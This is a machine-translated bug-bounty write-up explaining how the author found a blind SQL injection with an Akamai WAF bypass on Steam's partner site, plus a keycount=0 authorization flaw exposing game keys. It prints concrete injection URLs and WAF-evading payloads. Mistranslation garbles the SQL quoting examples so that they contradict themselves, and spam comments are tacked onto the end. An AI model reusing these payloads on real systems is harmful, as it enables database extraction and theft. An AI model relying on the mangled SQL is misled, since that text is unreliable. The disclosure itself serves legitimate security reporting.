How I hacked Steam. Twice
Hello, Habr! Today, I'm revealing for what Valve paid the largest bounties in the history of their reward program for vulnerability. Welcome to the cut!
1. SQL Injection
Service partner.steampowered.com is intended for obtaining financial information of Steam partners. On the sales reports page, a graph is drawn with buttons that change the display period of the statistics. Here they are in a green rectangle:
The request for statistics download looks like this:
where "UA" is the country code.
Well, it's time for quotes!
Let's try "UA '":
The statistics did not return, which was to be expected.
Now the "UA":
Statistics returned again and it looks like an injection!
Let's assume that the instruction to the database looks like this:
SELECT * FROM countries WHERE country_code = `UA`;
If you send UA ', then the instruction to the database will be:
SELECT * FROM countries WHERE country_code = `UA``;
Notice the extra quotation? And this means that the instruction is invalid.
Accordingly, the syntax of SQL - the query below is quite valid (there are no extra quotes):
SELECT * FROM countries WHERE country_code = `UA```;
Notice that we are dealing with an array of countryFilter . I assumed that if the query duplicates the parameter countryFilter several times, then all the values that we send will be combined in the SQL query in this way:
'value1', 'value2', 'value3'
We check and make sure:
In fact, we asked the BD statistics of three countries:
`UA`,`, `,` RU`
The syntax is correct - the statistics returned :)
Bypass Web Application Firewall
Steam servers are hiding behind Akamai WAF. This disgrace inserts the stick into the wheels of good (and not very) hackers. However, I managed to overcome it by combining the array values into one query (what I explained above) and commenting. First, let's see if the last one:
? countryFilter= UA` /* & countryFilter= * /, `RU
The query is valid, it means that there are comments in our assortment.
We had several syntax variants, local bases for testing the payoids, comment symbols and an infinite number of quotes of all the encodings, as well as self-written scripts on the python, documentation for all databases, instructions for circumventing firewalls, wikis and anti-cheats. Not that it was the necessary stock for promotion of injection, but since I began to break the database, it's hard to stopWAF blocks the request when it encounters a function. You knew that DB_NAME /** / () - Is it a valid function call? The firewall also knows and blocks. But, thanks to this feature, we can split the function call into two parameters!
? countryFilter= UA ', DB_NAME /* & countryFilter= * /(), 'RU
We sent the question with DB_NAME /* all the same * / () - WAF did not understand anything, but the database successfully processed this instruction.
Getting values from the database
So, an example of obtaining the length of the value DB_NAME ():
https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter= *, (SELECT /* & countryFilter= * /CASE /** /WHEN /* & countryFilter= * /(Len (DB_NAME /* & countryFilter= * /()) /* & CountryFilter= * /= 1) /** /THEN /** /'UA' /** /ELSE /* & countryFilter= * /'Qwerty' /** /END), '
SELECT CASE WHEN (len (DB_NAME ()) = 1) THEN 'UA' ELSE 'qwerty' END
If the length of DB_NAME () is "1", then the result is "UA", otherwise the result is "qwerty".
This means that if the comparison is true, then in the answer we will receive statistics for the country "UA". It's not difficult to guess that by going through the values from 1 to infinity, we will find the right one sooner or later.
In the same way, you can sort through the text values:
If the first character DB_NAME () is equal to "a", then "UA", otherwise "qwerty".
Usually, to get the Nth character use the function "substring", but WAF persistently blocked it. Here came to the rescue a combination:
right (left (system_user, N), 1)
How it works? We get N symbols of the value of system_user from which we take the last.
Imagine that system_user = "steam". Here's how to get the third character:
left (system_user, 3) = ste
right ("ste", 1) = e
Using a simple script, this process was automated and I got the hostname, system_user, version and the names of all the databases. This information is more than enough (the latter is even superfluous, but it was interesting) for demonstrating criticality.
After 5 hours, the vulnerability was corrected, but the status triaged was accepted to it after 8 hours and, damn it, for me it was a very difficult 3 hours for which my brain had survived the stage from denial to acceptance.
Explanation of paranoia [/b]
Since the vulnerability was not indicated as accepted, I was afraid that the queue before my report was not reached yet. But the bug is fixed, so it could be committed before me.
2. Getting all the keys from any game
In the Steam partner interface, there is a functionality for generating keys to games.
You can download the generated set of keys using the query:
& sessionid = xxxxxxxxxxxxx & keyid = 123456 & sourceAccount = xxxxxxxxx & appid = xxxxxx & keycount = 1 & generateButton = Download
In this query, the parameter keyid - id of the set of keys, and keycount - the number of keys to retrieve from this set.
Of course, the hands instantly pulled to drive different keyid , but in response I was waiting for an error: " Couldn`t generate CD keys: No assignment for user. ". It turned out that it's not so simple, and Steam checked whether the requested set of keys belongs to me. How did I bypass this test? Attention
keycount = 0
A file with 3?000 keys was generated from the game Portal 2. Wow.
Only in one set was there so many keys. And there are more than 43?000 sets at the moment. Thus, by looking at the values of keyid
Ia potential attacker could download all the keys that Steam developers have ever generated.
The costly WAF system from top companies is far from guaranteeing the security of your web applications.
If you are a hunter for bugs, then try to penetrate as deeply as possible. The fewer users have access to the interface, the more likely it is to find a vulnerability in this interface.
Developers and business owners, absolutely safe applications there! But you hold on. Have a good mood!
But seriously [/b]
Do pentests, pay for vulnerabilities, think strategically.
It may be interesting
Thttps://clubessay.com/here is definately a great deal to know about this subject. I like all of the points you've made.
VK Mobile ChallengE is best challange I have ever seen. Thanks for sharing such awesome news.
I was just browsing through the internet looking for some information and came across your blog. I am impressed by the information that you have on this blog. It shows how well you understand this subject. Bookmarked this page, will come back for more.
Situs QQ Online
Situs QQ Online
After reading your article I was amazed. I know that you explain it very well. And I hope that other readers will also experience how I feel after reading your article.
Situs QQ Online
Situs QQ Online